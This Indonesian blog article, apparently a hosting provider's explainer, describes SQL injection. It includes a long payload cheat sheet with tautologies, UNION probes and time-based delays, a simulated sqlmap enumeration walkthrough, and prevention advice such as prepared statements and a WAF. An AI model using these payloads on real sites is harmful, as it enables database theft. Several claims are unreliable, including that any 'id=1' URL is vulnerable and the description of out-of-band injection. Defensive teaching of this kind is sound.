Semakin pesat perkembangan teknologi maka akan sebanding lurus dengan kejahatan siber, Setiap pemilik website harus waspada terhadap salah satu kejahatan siber yang paling ditakutkan yaitu SQL Injection.
Tentu Anda pernah mendengar hacker terkenal bernama Bjorka, Karena dia membuat semua mata berfokus pada kejahatannya, oleh sebab itu jika website perusahaan Anda tidak dijaga dengan baik, datanya bisa dicuri oleh para kelompok yang tidak bertanggung jawab seperti Byorka.
Perlu Anda ketahui, bahwa SQL Injection adalah salah satu celah yang bisa digunakan orang tidak bertanggung jawab untuk mencuri data website perusahaan.
For your information bahwa OWASP (Open Web Application Security Project) yang merupakan organisasi keamanan siber dunia bahkan menempatkan serangan SQL Injection di posisi ketiga sebagai ancaman paling berisiko untuk website.
Maka dari itu, sebagai pemilik website maupun pemilik bisnis harus paham apa itu SQL Injection selanjutnya bagaimana cara kerja dan cara mencegahnya.
Apa itu SQL Injection
SQL Injection adalah bentuk celah keamanan (vulnerability) paling berbahaya pada website. Serangan ini bisa dengan mudah terjadi jika peretas memasukan kode SQL (Structured Query Language) ke dalam input database yang tidak difilter dengan baik.
Contoh kode : https://namawebsite.com/index.php?name=123’
Kode ini jika dijalankan di url, maka akan terjadi error pada database seperti muncul kode error :
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.
“You have an error in your SQL syntax”
“Unclosed quotation mark”
“SQLSTATE[HY000]”
sumber geeks for geeks
Jika ini terjadi, maka peretas bisa mengakses database yang berisi username dan password untuk login ke website Anda.
Cara menggunakan SQLi ini menggunakan celah coding database yang buruk, penyerang bisa melakukan SQLi hanya dengan satu input sederhana seperti menggunakan ‘ pada akhir query database.
Serangan SQL injection banyak dilakukan oleh cracker, berbeda dari hacker yang tujuannya membobol sistem guna memberitahu pemilik website jika ada celah keamanan, namun bagi cracker kebocoran ini akan di manfaatkan untuk tujuan ilegal.
SQL Injection Payloads
SQL Injection Payload merupakan sekumpulan sintaks sederhana yang dibuat untuk mengeksploitasi kelemahan database. SQLi Payload bekerja dengan cara menyisipkan potongan kode ke dalam input url website yang sedang mengambil data dari database. Jika website Anda bocor, sintaks ini akan dijalankan database dan menghasilkan error.
Jika error, maka melalui URL tersebut, penyerang bisa mendapatkan celah lalu mencuri isi dari database.
Sintaks SQLi payload sangat sederhana, antara lain
'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
@variable local variable
@@variable global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--
Comments:
# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick
Sumber github
Bahaya dan Dampaknya
Jika payload dijalankan sukses, penyerang bisa mengakses dan mendapatkan hal hal dibawah ini
- Membaca data pengguna
- Mengubah isi dari database
- Menghapus tabel atau semua isi dari database
- Mengeksploitasi server (privilege escalation)
- Mengambil akses website
Cara Mencegah dan Mengatasi SQL Injection
Sebelum terjadinya kebocoran database, Anda bisa memitigasi website dengan cara
- Gunakan prepared statements (parameterized queries)
- Validasi dan filter input dari pengguna
- Batasi hak akses database (jangan gunakan root)
- Gunakan prepared statements (di PHP, Python, Node.js, dll).
- Hindari menyusun query dengan string concat dari input pengguna.
- Gunakan ORM (Object Relational Mapping) yang aman (contoh Laravel, Sequelize, Django).
- Gunakan Web Application Firewall (WAF)
SQL Injection Test
Cara melakukan test SQL injection adalah saat Anda mengisi form login di sebuah website. Lalu form itu malah error karena Anda memasukan script yang sudah dijelaskan diatas, lalu website malah menunjukan beberapa kode error karena server menjalankan sintaks dari SQLi.
Jenis-jenis Serangan SQL Injection
Saat ini serangan SQLi tidak cuma satu jenis serangan saja, OWASP menjelaskan ada beberapa jenis teknik dari SQL injection, perbedaan ini dapat dilihat dari bagaimana cara cracker menyusup ke website. Berikut ini adalah jenis-jenis seranganya
1. Inband SQL Injection
Serangan SQLi inband adalah jenis serangan yang paling sering digunakan, kenapa paling sering? sebab serangan ini adalah yang paling mudah dilakukan. Proses serangan ini adalah dengan error akan langsung muncul di halaman web. Contohnya adalah jika penyerang memasukkan kode SQL yang sudah dijelaskan diatas ke dalam kolom url, maka username login pengguna akan langsung terlihat di halaman website. Inband ini masih dipecah menjadi 2 jenis lagi
- Error-based SQLi yaitu menggunakan tampilan error dari database untuk melakukan aksinya.
- Union-based SQLi, yaitu menggunakan sintaks dari SQL UNION untuk menggabungkan hasil dari sintaks lain.
2. Out-of-Band SQL Injection
Dengan teknis out of band SQLi penyerang tidak melihat dari halaman website, akan tetapi langsung menggunakan URL. Serangan ini bisa dilakukan jika website sangat dibatasi. Banyak penyerang menggunakan cara ini meskipun cara ini lebih sulit dilakukan, karena harus mencari celah pada url yang memuat query database.
3. Blind SQL Injection (Inferential)
Yang terakhir adalah blind SQLi, teknik ini tidak akan menampilkan data secara langsung di situs website. Penjahat bisa melakukan serangan ini dengan cara mendapatkan respons dari server, contohnya halaman error. Dari halaman yang error ketika memuat database pencuri bisa melakukan tindakan lanjutan dengan memasang tools atau alat untuk masuk ke website untuk mencuri database login.
Belajar SQL Injection dengan sqlmap di Kali Linux
SQL Injection (SQLi) dapat dilakukan dengan menggunakan tools SQLmap yang di install di sistem operasi kali linux.
Anda akan mempelajari cara mengetahui dan mengeksploitasi SQL Injection dengan menggunakan alat otomatis bernama sqlmap.
Disclaimer : Pengetahuan ini harus digunakan untuk kebaikan, atau untuk deteksi dini apakah ada celah keamanan pada website milik Anda atau tidak.
Untuk melakukannya Anda tidak perlu konfigurasi tambahan karena terminal akan langsung terhubung ke shell kontainer. Langkah pertama adalah menyiapkan toolsnya, yaitu sqlmap.
1.Untuk memastikan alat ini tersedia dan terbaru, jalankan perintah berikut di terminal
apt update
apt install -y sqlmap
2. Proses ini akan mengunduh sqlmap jika belum tersedia. Setelah selesai, verifikasi versi sqlmap untuk memastikan bahwa instalasi berhasil
sqlmap --version
dan outputnya adalah
sqlmap version 1.7.9
3. Langkah berikutnya adalah mana saja URL yang bisa Anda diinjeksi. Misalnya, sebuah URL sederhana seperti:
http://namawebsite.com/page?id=1
Jika website memiliki parameter id=1 pada URL nya, maka URL ini memiliki kerentanan terhadap serangan SQL Injection. Untuk menyimpan URL target ini dalam file, gunakan:
echo "http://example.com/page?id=1" > /root/target_url.txt
4. Cara memeriksa isi file tersebut:
cat /root/target_url.txt
5. Kemudian kita lanjut ke proses enumerasi database, yaitu mendeteksi nama-nama database yang tersedia di server target. Karena ini adalah hanya contoh, kita buat output tiruan menggunakan perintah:
echo "Simulating sqlmap database enumeration..." > /root/sqlmap_dbs.txt
echo "Available databases: [information_schema, test_db]" >> /root/sqlmap_dbs.txt
6. Lihat hasilnya dengan
cat /root/sqlmap_dbs.txt
7. Setelah database teridentifikasi, kita bisa lanjut untuk mencari tahu isi database tersebut, yaitu daftar tabel. Misalnya dalam database test_db, kita buat contoh daftar tabel seperti berikut
echo "Simulating sqlmap table enumeration for test_db..." > /root/sqlmap_tables.txt
echo "Tables in test_db: [users, orders, products]" >> /root/sqlmap_tables.txt
8. Periksa hasilnya
cat /root/sqlmap_tables.txt
9. Akhirnya, kita akan melakukan simulasi dump data dari tabel users untuk melihat isi sebenarnya:
echo "Simulating sqlmap data dump for users table..." > /root/sqlmap_users_data.txt
echo "Data in users table:" >> /root/sqlmap_users_data.txt
echo "ID | Username | Password" >> /root/sqlmap_users_data.txt
echo "1 | admin | pass123" >> /root/sqlmap_users_data.txt
echo "2 | user1 | test456" >> /root/sqlmap_users_data.txt
10. Dan tampilkan isi datanya:
cat /root/sqlmap_users_data.txt
Cara diatas adalah contoh mensimulasikan tools sqlmap yang berfungsi untuk mencari informasi penting dari database, untuk itu Anda harus mengamankan situs website Anda dengan baik.
Dengan tools ini, Anda bisa mengetahui cara eksploitasi hingga ekstraksi database dalam sebuah website. Sehingga bisa menjadi pelajaran penting bagi pemilik website agar websitenya tidak di serangan SQL injection.
Cara Mencegah SQLi
Berikut ini adalah hal yang perlu dilakukan pemilik website agar terhindar dari ancaman serangan SQL Injection, dalam praktiknya harus di uji coba ke website Anda agar bisa di aplikasikan.
1. Gunakan Prepared Statements (Parameterized Queries)
Cara ini adalah yang paling teruji untuk menghindari serangan, caranya sebagai berikut
Contoh (PHP dengan PDO):
php
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $input]);
Anda harus memisahkan nilai dari $input agar tidak langsung digabung dalam query, tapi harus dipisahkan agar penyerang tidak bisa melihat.
2. Hilangkan karakter berbahaya
Contoh (PHP):
php
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
Meskipun Anda sudah memvalidasi namun tetap harus menggunakan parameter query, untuk mencegah situs Anda kecurian.
3. Gunakan ORM (Object Relational Mapping)
Anda bisa gunakan ORM yang secara default menggunakan parameterized queries seperti
- Laravel Eloquent untuk PHP
- Sequelize untuk Node.js
- SQLAlchemy untuk Python
- Hibernate untuk Java
4. Batasi Akses ke Database
Setting database dan buat akun database dengan hak minimal, lalu hindari menggunakan akun root atau admin untuk koneksi dari aplikasi. Contohnya adalah akun yang engakses hanya boleh SELECT, bukan DELETE atau DROP.
5. Gunakan Web Application Firewall (WAF)
Wowrack menyediakan layanan WAF (Web Application Firewall) untu melindungi website Anda dari serangan siber seperti SQL Injection dan ancaman OWASP Top 10 lainnya. Layanan WAF dari Wowrack akan bekerja secara real-time untuk memfilter traffic berbahaya sebelum mencapai server website.
6. Jangan Buat URL dari Input
Jangan membangun query SQL dari string yang diambil langsung dari input pengguna, karena akan menimbulkan celah untuk di inject SQL. Contoh yang salah
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
Kesimpulan
SQL Injection adalah ancaman nyata dan begitu serius jika berurusan dengan database pelanggan, maka untuk menghadapinya Anda harus mengerti cara teknis validasi input, penggunaan prepared statement, pembatasan hak akses database dan yang terpenting untuk mengantisipasi hal yang tidak di inginkan sebaiknya menerapkan web application firewall (WAF).